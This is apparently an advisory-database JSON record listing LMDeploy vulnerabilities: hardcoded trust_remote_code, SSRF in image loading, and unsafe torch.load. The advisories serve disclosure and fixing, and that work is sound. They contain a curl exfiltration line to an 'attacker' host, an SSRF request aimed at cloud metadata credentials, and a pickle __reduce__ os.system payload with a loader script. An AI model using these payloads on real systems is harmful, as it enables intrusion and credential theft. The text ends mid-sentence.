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Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out","description":"\u003e ## 📋 Reframing (2026-05-02): implicit unsafe remote-code path, not \"supply-chain\"\n\u003e\n\u003e The accurate description of this vulnerability is:\n\u003e **\"`get_model_arch` and related helpers hardcode `trust_remote_code=True`\n\u003e with no opt-out, creating an implicit unsafe remote-code load path\n\u003e on every model fetch.\"**\n\u003e\n\u003e What this report does NOT claim:\n\u003e * It is NOT a network-attack RCE — the user supplies the model\n\u003e   reference; LMDeploy honors it.\n\u003e * It is NOT a \"supply chain\" CVE in the classical sense (where a\n\u003e   benign upstream is compromised) — the user explicitly types the\n\u003e   repo name.\n\u003e\n\u003e What this report DOES claim:\n\u003e * Other inference frameworks (vLLM, TGI, Hugging Face transformers\n\u003e   itself) all expose `--trust-remote-code` as **opt-in** so that\n\u003e   users who consciously load known-safe repos can opt in, while\n\u003e   users following a tutorial cannot accidentally execute attacker\n\u003e   Python by typing a wrong repo name.\n\u003e * LMDeploy's hardcoded True is an **implicit** trust-boundary\n\u003e   override that violates HF Transformers' default-secure stance\n\u003e   (`trust_remote_code=False` since transformers ≥ 4.30).\n\u003e * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting\n\u003e   False, threaded through the three sites, matching the rest of\n\u003e   the ecosystem.\n\u003e\n\u003e Severity should be assessed as **hardening / safe-by-default**,\n\u003e not as full unauthenticated RCE. CVSS revised to **5.5 Medium**\n\u003e (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` × user-must-load qualifier).\n\u003e\n\u003e Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`.\n\n---\n\n# F13 — LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in\n\n**Reporter:** ibondarenko1 / sactransport2000@gmail.com\n**Coordinated-disclosure window:** 90 days from initial vendor email.\n\n## TL;DR\n\nLMDeploy unilaterally passes `trust_remote_code=True` to\n`transformers.AutoConfig.from_pretrained()` (and several other\n`from_pretrained` callers) **regardless of any user opt-in**. The\nflag is hardcoded `True` in source — there is no CLI flag, no\nenvironment variable, no parameter, and no warning that lets a\nuser refuse remote code execution from the model repository.\nThis is a **silent override of HuggingFace Transformers' own\ndefault-secure stance** (`trust_remote_code=False`) introduced\nin HF Transformers ≥ 4.30 specifically to prevent this class of\nsupply-chain RCE.\n\nThe user running `lmdeploy serve api_server \u003cattacker_repo\u003e`,\n`lmdeploy lite calibrate \u003cattacker_repo\u003e`, etc. has **no way to\nopt out**. The only escape hatch is for the user to never load\nany third-party HF repo with LMDeploy — which is incompatible\nwith LMDeploy's documented use case.\n\nHuggingFace's `trust_remote_code=False` default exists exactly to\nprevent silent RCE when loading a third-party repo. LMDeploy overrides\nthis default, restoring the unsafe behaviour transparently. A malicious\nHF repo with a `configuration_*.py` shim runs Python code as the\nLMDeploy user at the very first call to `get_model_arch(...)`.\n\nThis is a documented anti-pattern (see HF Hub docs:\n\"Trusting custom code is therefore tricky...\"). Multiple peer\nprojects fixed similar issues — e.g. Hugging Face Transformers\nitself made this opt-in by default, and `vllm` exposes the flag\nthrough `--trust-remote-code` rather than hardcoding it.\n\n## Affected version\n\n* Repository: `github.com/InternLM/lmdeploy`, branch `main`.\n* Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92`\n  (2026-05-02).\n* Pinned blob SHAs:\n  * `lmdeploy/archs.py` → `68fa03a407734be1e2ae04098d34e9acdbe98262`\n  * `lmdeploy/lite/apis/calibrate.py` →\n    `0728304bdc3c03eee1d790bfbd5496df080a0ecd`\n  * `lmdeploy/lite/utils/load.py` →\n    `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120`\n  * `lmdeploy/pytorch/check_env/model.py` →\n    `b1a2daaa426bf5fe25030f7913c703eed9f5b261`\n\nSnapshots of all four files are in `source_pinned/`.\n\n## Source-level evidence\n\n### Site 1 — architecture detection (every load goes through here)\n\n`lmdeploy/archs.py:147-157` — `get_model_arch`:\n```python\ndef get_model_arch(model_path: str):\n    \"\"\"Get a model's architecture and configuration.\"\"\"\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\n**Both** the primary path and the fallback hardcode\n`trust_remote_code=True`. There is no parameter to override it. This\nfunction is called from every model-loading path in lmdeploy.\n\n### Site 2 — quantization CLI\n\n`lmdeploy/lite/apis/calibrate.py:248-251`:\n```python\ntokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)\n...\nmodel = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)\n```\n\n`lmdeploy lite calibrate \u003crepo\u003e` and downstream quant CLIs (gptq,\nawq) all flow through this. Hardcoded.\n\n### Site 3 — calibration helper\n\n`lmdeploy/lite/utils/load.py:55`:\n```python\ndef load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):\n    ...\n    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)\n```\n\nEven if the caller does not pass `trust_remote_code=True` in\n`**kwargs`, the helper internally hardcodes it on the config call\n(line 55), then loads the model on line 74. The config call alone is\nsufficient for RCE: HF Transformers downloads `configuration_*.py`\nfrom the repo and `import`s it whenever `trust_remote_code=True`.\n\n### Site 4 — pytorch engine check\n\n`lmdeploy/pytorch/check_env/model.py:10,99,234,242` —\n`trust_remote_code: bool = True` is the default value for the engine's\nparameter. Unlike the three sites above, this is \"default true\" not\n\"hardcoded true\" — a determined caller can pass False — but every\nshipped CLI passes True or relies on the default.\n\n### What `trust_remote_code=True` actually enables\n\nWhen `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is\ncalled and the repo's `config.json` contains an `auto_map` key\npointing to a custom `configuration_\u003cname\u003e.py`:\n\n1. HF Transformers downloads the `.py` file from the repo.\n2. HF imports the module via `importlib`, **executing the file's\n   top-level code** (any `print`, `os.system`, `subprocess.run`,\n   `urllib.request.urlopen`, etc. fires now).\n3. HF then instantiates the named class.\n\nSo a malicious repo only needs a top-level\n`os.system(\"curl https://attacker/?$(whoami)\")` in\n`configuration_evil.py`. It runs as the lmdeploy process user.\n\n## Threat model\n\n**Attack surface.** Any user who runs an lmdeploy CLI command against\na HuggingFace repo identifier they did not personally vet. This\nincludes:\n\n* Casual users following a tutorial that says\n  `lmdeploy serve api_server \u003csome_repo\u003e`.\n* CI pipelines that automatically pull a model from HF Hub by\n  configuration (e.g. updates to a non-Pinned version tag).\n* Researchers comparing models from many authors. Even running\n  `lmdeploy lite calibrate` for benchmarking is enough.\n\nThe user is **not warned** that arbitrary Python from the repo will\nexecute, and there is **no flag** to disable it. The CVE class is\nCWE-94 (Improper Control of Generation of Code, supply-chain\nflavour) and CWE-915 (Improperly Controlled Modification of\nDynamically-Determined Object Attributes).\n\n## Comparison to peer projects\n\n| Project | trust_remote_code default | User control |\n|---|---|---|\n| HuggingFace Transformers | False | `trust_remote_code` keyword arg |\n| vLLM | False | `--trust-remote-code` flag |\n| **LMDeploy** | **True (hardcoded)** | **None** |\n| TGI | False | `--trust-remote-code` flag |\n\nLMDeploy is the outlier. The rationale is presumably \"internal\nmodels like InternLM need custom configuration_*.py\", but the fix is\nto accept a CLI flag like `--trust-remote-code` and default-False as\nthe rest of the ecosystem does.\n\n## Suggested fix\n\nReplace every hardcoded `trust_remote_code=True` with an explicit\nopt-in via CLI flag:\n\n```python\n# lmdeploy/archs.py — get_model_arch\ndef get_model_arch(model_path: str, trust_remote_code: bool = False):\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n```\n\nWire `trust_remote_code` through every call site. Add `--trust-remote-code`\nto lmdeploy's CLI parser and forward it from server / calibrate /\ngptq / etc. **Default False**.\n\nA patch fragment is in `patch.diff`.\n\n## Disclosure plan\n\n1. Submit privately via lmdeploy security contact (typically email or\n   GitHub Security Advisory at\n   `https://github.com/InternLM/lmdeploy/security/advisories/new`).\n2. Reference Hugging Face Transformers' historical opt-out → opt-in\n   change as precedent for the fix shape.\n3. 90-day coordinated-disclosure window starting from acknowledgement.\n4. Request CVE through GHSA flow once the patch lands.\n\n## Why static-only is sufficient here\n\nUnlike F11 (RCE chain through `_load_pt_file`) which required a\nruntime PoC to demonstrate the pickle gadget execution, this finding\nis a **single trust-flag flip** — the behaviour of\n`AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF\nrepo with a malicious `configuration_*.py` is documented behaviour of\nHF Transformers itself (their own docs warn against it). Reproducing\nit adds no new evidence; the static flag-state is the bug.\n\nIf the vendor requests a runtime PoC during triage we will provide\none (a malicious HF repo with `configuration_evil.py` + a one-liner\n`lmdeploy lite calibrate \u003crepo\u003e` invocation), but holding it back from\nthe initial advisory avoids publishing a working exploit during the\ndisclosure window.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-21T19:33:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796","https://nvd.nist.gov/vuln/detail/CVE-2026-46517","https://github.com/advisories/GHSA-9xq9-36w5-q796"],"source_kind":"github","identifiers":["GHSA-9xq9-36w5-q796","CVE-2026-46517"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-21T20:00:30.299Z","updated_at":"2026-06-12T15:00:25.764Z","epss_percentage":0.00014,"epss_percentile":0.02599,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05eHE5LTM2dzUtcTc5Ns4ABXN7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05eHE5LTM2dzUtcTc5Ns4ABXN7","packages":[{"ecosystem":"pypi","package_name":"lmdeploy","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.12.3"}],"purl":"pkg:pypi/lmdeploy","statistics":{"dependent_packages_count":1,"dependent_repos_count":2,"downloads":114267,"downloads_period":"last-month"},"affected_versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.1.0","0.1.0a0","0.1.0a1","0.1.0a2","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.3.0","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.2.post1","0.5.3","0.6.0","0.6.0a0","0.6.1","0.6.2","0.6.2.post1","0.6.3","0.6.4","0.6.5","0.7.0","0.7.0.post1","0.7.0.post2","0.7.0.post3","0.7.1","0.7.2","0.7.2.post1","0.7.3","0.8.0","0.9.0","0.9.1","0.9.2","0.9.2.post1","0.10.0","0.10.1","0.10.2","0.11.0","0.11.1","0.12.0","0.12.1","0.12.2","0.12.3"],"unaffected_versions":["0.13.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05eHE5LTM2dzUtcTc5Ns4ABXN7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNTQ5LXFxOTQtZnZoZ84ABXNM","url":"https://github.com/advisories/GHSA-m549-qq94-fvhg","title":"LMDeploy: Arbitrary code execution via hardcoded trust_remote_code=True in lmdeploy model initialization","description":"## Summary\n\nlmdeploy hardcodes `trust_remote_code=True` in multiple HuggingFace model-loading call sites.\n\nThe affected code paths are in:\n\n```text\nlmdeploy/archs.py\nlmdeploy/utils.py\n````\n\nThe vulnerable call sites pass `trust_remote_code=True` into HuggingFace Transformers APIs such as `AutoConfig.from_pretrained()`, `PretrainedConfig.get_config_dict()`, and `GenerationConfig.from_pretrained()`.\n\nBecause the model path is supplied by the operator or deployment configuration, an attacker who can control the `model_path` used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.\n\nSuccessful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.\n\n## Affected version\n\nConfirmed affected:\n\n```text\nlmdeploy \u003c= 0.12.3\n```\n\nThe issue was verified on `v0.12.3` and on `main`.\n\n## Vulnerable code\n\nConfirmed call sites:\n\n```text\nlmdeploy/archs.py:154\nAutoConfig.from_pretrained(..., trust_remote_code=True)\n\nlmdeploy/archs.py:157\nPretrainedConfig.get_config_dict(..., trust_remote_code=True)\n\nlmdeploy/utils.py:225\nGenerationConfig.from_pretrained(..., trust_remote_code=True)\n```\n\nThe vulnerable pattern is:\n\n```python\nAutoConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\nand:\n\n```python\nGenerationConfig.from_pretrained(path, trust_remote_code=True)\n```\n\nThe risk is that `trust_remote_code=True` is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.\n\n## Attack scenario\n\n1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.\n2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:\n\n```text\nattacker-org/malicious-model\n```\n\n3. The lmdeploy serving process starts with that model path:\n\n```bash\nlmdeploy serve api_server attacker-org/malicious-model\n```\n\n4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with `trust_remote_code=True`.\n5. Transformers loads and executes remote Python code from the attacker-controlled model repository.\n6. The payload runs with the privileges of the lmdeploy serving process.\n\n## Why this is security-sensitive\n\n`trust_remote_code=True` is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.\n\nIn lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as `--trust-remote-code`.\n\nlmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.\n\n## Proof of concept\n\nThe following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with `trust_remote_code=True` and shows that remote model code would execute during initialization.\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport argparse\nimport importlib.util\nimport os\nimport sys\nimport tempfile\nfrom pathlib import Path\n\nMARKER = Path(\"/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF\")\nMALICIOUS_MODEL = \"attacker-org/malicious-model\"\n\n\ndef simulate_lmdeploy_model_load(model_path: str) -\u003e None:\n    \"\"\"\n    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.\n\n    Real vulnerable pattern:\n        AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n        GenerationConfig.from_pretrained(path, trust_remote_code=True)\n\n    When trust_remote_code=True, a malicious HuggingFace model repository can\n    execute custom Python code during loading.\n    \"\"\"\n\n    fake_model_dir = Path(tempfile.mkdtemp(prefix=\"fake_lmdeploy_model_\"))\n    module_name = model_path.split(\"/\")[-1].replace(\"-\", \"_\")\n    modeling_file = fake_model_dir / f\"modeling_{module_name}.py\"\n\n    payload = f'''\nimport os\nfrom pathlib import Path\n\nPath(\"{MARKER}\").write_text(\n    \"lmdeploy trust_remote_code execution confirmed\\\\n\"\n    f\"model_path={model_path!r}\\\\n\"\n    f\"pid={{os.getpid()}} euid={{os.geteuid()}}\\\\n\"\n)\n'''\n    modeling_file.write_text(payload)\n\n    spec = importlib.util.spec_from_file_location(f\"modeling_{module_name}\", modeling_file)\n    assert spec is not None and spec.loader is not None\n\n    mod = importlib.util.module_from_spec(spec)\n    spec.loader.exec_module(mod)\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--model-id\", default=MALICIOUS_MODEL)\n    args = parser.parse_args()\n\n    if MARKER.exists():\n        MARKER.unlink()\n\n    print(f\"[*] Simulating lmdeploy loading model: {args.model_id}\")\n    print(\"[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths\")\n\n    simulate_lmdeploy_model_load(args.model_id)\n\n    if MARKER.exists():\n        print(\"[+] Code execution confirmed\")\n        print(MARKER.read_text())\n        return 0\n\n    print(\"[-] Marker file was not created\", file=sys.stderr)\n    return 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nExpected result:\n\n```text\n[+] Code execution confirmed\n```\n\nThe marker file is written to:\n\n```text\n/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF\n```\n\n## Impact\n\nAn attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.\n\nThe attacker may be able to:\n\n* Read files accessible to the lmdeploy process.\n* Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.\n* Modify model-serving behavior or tamper with responses.\n* Execute arbitrary operating-system commands.\n* Access request data or internal service credentials available to the serving process.\n* Cause denial of service by crashing or destabilizing the serving daemon.\n* Pivot to internal services reachable from the lmdeploy host or container.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-21T17:30:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/InternLM/lmdeploy/security/advisories/GHSA-m549-qq94-fvhg","https://github.com/InternLM/lmdeploy/pull/4511","https://nvd.nist.gov/vuln/detail/CVE-2026-46432","https://github.com/advisories/GHSA-m549-qq94-fvhg"],"source_kind":"github","identifiers":["GHSA-m549-qq94-fvhg","CVE-2026-46432"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-21T18:00:08.827Z","updated_at":"2026-06-12T15:00:27.113Z","epss_percentage":0.00021,"epss_percentile":0.06112,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNTQ5LXFxOTQtZnZoZ84ABXNM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNTQ5LXFxOTQtZnZoZ84ABXNM","packages":[{"ecosystem":"pypi","package_name":"lmdeploy","versions":[{"first_patched_version":"0.13.0","vulnerable_version_range":"\u003c 0.13.0"}],"purl":"pkg:pypi/lmdeploy","statistics":{"dependent_packages_count":1,"dependent_repos_count":2,"downloads":114267,"downloads_period":"last-month"},"affected_versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.1.0","0.1.0a0","0.1.0a1","0.1.0a2","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.3.0","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.2.post1","0.5.3","0.6.0","0.6.0a0","0.6.1","0.6.2","0.6.2.post1","0.6.3","0.6.4","0.6.5","0.7.0","0.7.0.post1","0.7.0.post2","0.7.0.post3","0.7.1","0.7.2","0.7.2.post1","0.7.3","0.8.0","0.9.0","0.9.1","0.9.2","0.9.2.post1","0.10.0","0.10.1","0.10.2","0.11.0","0.11.1","0.12.0","0.12.1","0.12.2","0.12.3"],"unaffected_versions":["0.13.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNTQ5LXFxOTQtZnZoZ84ABXNM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02dzY3LWh3bTUtOTJtcc4ABVgm","url":"https://github.com/advisories/GHSA-6w67-hwm5-92mq","title":"LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading","description":"## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.\n\n## Affected Versions\n\n- **Tested on:** main branch (2026-02-04)\n- **Affected:** All versions prior to 0.12.3\n\n## Vulnerable Code\n\n**File:** `lmdeploy/vl/utils.py` (lines 64-67)\n```python\ndef load_image(image_url: Union[str, Image.Image]) -\u003e Image.Image:\n    # ...\n    if image_url.startswith('http'):\n        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)\n        # NO VALIDATION OF URL/IP BEFORE REQUEST\n```\n\n**Also affected:** `encode_image_base64()` function (lines 26-29)\n\n## Root Cause\n\n1. No validation of URLs before fetching\n2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)\n3. Server binds to `0.0.0.0` by default (api_server.py line 1393)\n4. API keys disabled by default\n\n## Attack Scenario\n\n1. LMDeploy server deployed with vision-language model\n2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`:\n```python\nPOST /v1/chat/completions\n{\n  \"model\": \"internlm-xcomposer2\",\n  \"messages\": [{\n    \"role\": \"user\", \n    \"content\": [\n      {\"type\": \"text\", \"text\": \"Describe this image\"},\n      {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}}\n    ]\n  }]\n}\n```\n\n3. Server fetches URL without validation\n4. Attacker receives cloud credentials\n\n## Proof of Concept\n\n### Verified Exploitation Result\n```\n╔═══════════════════════════════════════════════════════════════════════╗\n║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║\n╚═══════════════════════════════════════════════════════════════════════╝\n\n[1] Starting callback server on port 8889...\n[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n[3] Calling vulnerable load_image() function...\n\n======================================================================\n[+] SSRF CALLBACK RECEIVED!\n======================================================================\n    Time:       2026-02-04 16:10:57\n    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n    Client:     127.0.0.1:51154\n    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...\n======================================================================\n\n✅ SSRF VULNERABILITY CONFIRMED!\n```\n\n## Impact\n\n- **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs\n- **Internal Service Access:** Reach services not exposed to internet  \n- **Information Disclosure:** Port scan internal networks\n- **Lateral Movement:** Pivot point for further attacks\n\n## Recommended Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network('127.0.0.0/8'),\n    ipaddress.ip_network('10.0.0.0/8'),\n    ipaddress.ip_network('172.16.0.0/12'),\n    ipaddress.ip_network('192.168.0.0/16'),\n    ipaddress.ip_network('169.254.0.0/16'),\n]\n\ndef is_safe_url(url: str) -\u003e bool:\n    try:\n        parsed = urlparse(url)\n        if parsed.scheme not in ('http', 'https'):\n            return False\n        ip = socket.gethostbyname(parsed.hostname)\n        ip_addr = ipaddress.ip_address(ip)\n        return not any(ip_addr in network for network in BLOCKED_NETWORKS)\n    except:\n        return False\n```\n\n---\n\n## Credit\n\nThis vulnerability was discovered as part of Orca Security's research.\n\n**Researcher:** Igor Stepansky  \n**Organization:** Orca Security  \n**Emails:** \nigor.stepansky@orca.security  \niggy.p0pi@orca.security","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-21T15:04:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq","https://nvd.nist.gov/vuln/detail/CVE-2026-33626","https://github.com/InternLM/lmdeploy/pull/4447","https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626","https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3","https://github.com/advisories/GHSA-6w67-hwm5-92mq"],"source_kind":"github","identifiers":["GHSA-6w67-hwm5-92mq","CVE-2026-33626"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-21T16:00:08.947Z","updated_at":"2026-05-23T06:00:44.032Z","epss_percentage":0.08696,"epss_percentile":0.92578,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dzY3LWh3bTUtOTJtcc4ABVgm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02dzY3LWh3bTUtOTJtcc4ABVgm","packages":[{"ecosystem":"pypi","package_name":"lmdeploy","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.12.2"}],"purl":"pkg:pypi/lmdeploy"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dzY3LWh3bTUtOTJtcc4ABVgm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05cGYzLTdycnIteDVqaM4ABQQc","url":"https://github.com/advisories/GHSA-9pf3-7rrr-x5jh","title":"lmdeploy vulnerable to Arbitrary Code Execution via Insecure Deserialization in torch.load()","description":"## Summary\n\nAn insecure deserialization vulnerability exists in lmdeploy where `torch.load()` is called without the `weights_only=True` parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious `.bin` or `.pt` model file.\n\n\n**CWE:** CWE-502 - Deserialization of Untrusted Data\n\n---\n\n## Details\n\nSeveral locations in lmdeploy use `torch.load()` without the recommended `weights_only=True` security parameter. PyTorch's `torch.load()` uses Python's pickle module internally, which can execute arbitrary code during deserialization.\n\n### Vulnerable Locations\n\n**1. `lmdeploy/vl/model/utils.py` (Line 22)**\n\n```python\ndef load_weight_ckpt(ckpt: str) -\u003e Dict[str, torch.Tensor]:\n    \"\"\"Load checkpoint.\"\"\"\n    if ckpt.endswith('.safetensors'):\n        return load_file(ckpt)  # Safe - uses safetensors\n    else:\n        return torch.load(ckpt)  # ← VULNERABLE: no weights_only=True\n```\n\n**2. `lmdeploy/turbomind/deploy/loader.py` (Line 122)**\n\n```python\nclass PytorchLoader(BaseLoader):\n    def items(self):\n        params = defaultdict(dict)\n        for shard in self.shards:\n            misc = {}\n            tmp = torch.load(shard, map_location='cpu')  # ← VULNERABLE\n```\n\n**Additional vulnerable locations:**\n- `lmdeploy/lite/apis/kv_qparams.py:129-130`\n- `lmdeploy/lite/apis/smooth_quant.py:61`\n- `lmdeploy/lite/apis/auto_awq.py:101`\n- `lmdeploy/lite/apis/get_small_sharded_hf.py:41`\n\n### Note: Secure Pattern Already Exists\n\nThe codebase already uses the secure pattern in one location:\n\n```python\n# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103\nstate = torch.load(file, weights_only=True, map_location='cpu')  # ✓ Secure\n```\n\nThis shows the fix is already known and can be applied consistently across the codebase.\n\n---\n\n## PoC\n\n### Step 1: Create a Malicious Checkpoint File\n\nSave this as `create_malicious_checkpoint.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCreates a malicious PyTorch checkpoint that executes code when loaded.\n\"\"\"\nimport pickle\nimport os\n\nclass MaliciousPayload:\n    \"\"\"Executes arbitrary code during pickle deserialization.\"\"\"\n    \n    def __init__(self, command):\n        self.command = command\n    \n    def __reduce__(self):\n        # This is called during unpickling - returns (callable, args)\n        return (os.system, (self.command,))\n\ndef create_malicious_checkpoint(output_path, command):\n    \"\"\"Create a malicious checkpoint file.\"\"\"\n    malicious_state_dict = {\n        'model.layer.weight': MaliciousPayload(command),\n        'config': {'hidden_size': 768}\n    }\n    \n    with open(output_path, 'wb') as f:\n        pickle.dump(malicious_state_dict, f)\n    \n    print(f\"[+] Created malicious checkpoint: {output_path}\")\n\nif __name__ == \"__main__\":\n    os.makedirs(\"malicious_model\", exist_ok=True)\n    create_malicious_checkpoint(\n        \"malicious_model/pytorch_model.bin\",\n        \"echo '[PoC] Arbitrary code executed! - RCE confirmed'\"\n    )\n```\n\n### Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)\n\nSave this as `exploit.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nDemonstrates the vulnerability by loading the malicious checkpoint.\nThis simulates what happens when lmdeploy loads an untrusted model.\n\"\"\"\nimport pickle\n\ndef unsafe_load(path):\n    \"\"\"Simulates torch.load() without weights_only=True.\"\"\"\n    # torch.load() uses pickle internally, so this is equivalent\n    with open(path, 'rb') as f:\n        return pickle.load(f)\n\nif __name__ == \"__main__\":\n    print(\"[*] Loading malicious checkpoint...\")\n    print(\"[*] This simulates: torch.load(ckpt) in lmdeploy\")\n    print(\"-\" * 50)\n    \n    result = unsafe_load(\"malicious_model/pytorch_model.bin\")\n    \n    print(\"-\" * 50)\n    print(f\"[!] Checkpoint loaded. Keys: {list(result.keys())}\")\n    print(\"[!] If you see the PoC message above, RCE is confirmed!\")\n```\n\n### Step 3: Run the PoC\n\n```bash\n# Create the malicious checkpoint\npython create_malicious_checkpoint.py\n\n# Exploit - triggers code execution\npython exploit.py\n```\n\n### Expected Output\n\n```\n[+] Created malicious checkpoint: malicious_model/pytorch_model.bin\n[*] Loading malicious checkpoint...\n[*] This simulates: torch.load(ckpt) in lmdeploy\n--------------------------------------------------\n[PoC] Arbitrary code executed! - RCE confirmed     ← Code executed here!\n--------------------------------------------------\n[!] Checkpoint loaded. Keys: ['model.layer.weight', 'config']\n[!] If you see the PoC message above, RCE is confirmed!\n```\n\nThe `[PoC] Arbitrary code executed!` message proves that arbitrary shell commands run during deserialization.\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- **All users** who load PyTorch model files (`.bin`, `.pt`) from untrusted sources\n- This includes models downloaded from HuggingFace, ModelScope, or shared by third parties\n\n### Attack Scenario\n\n1. Attacker creates a malicious model file (e.g., `pytorch_model.bin`) 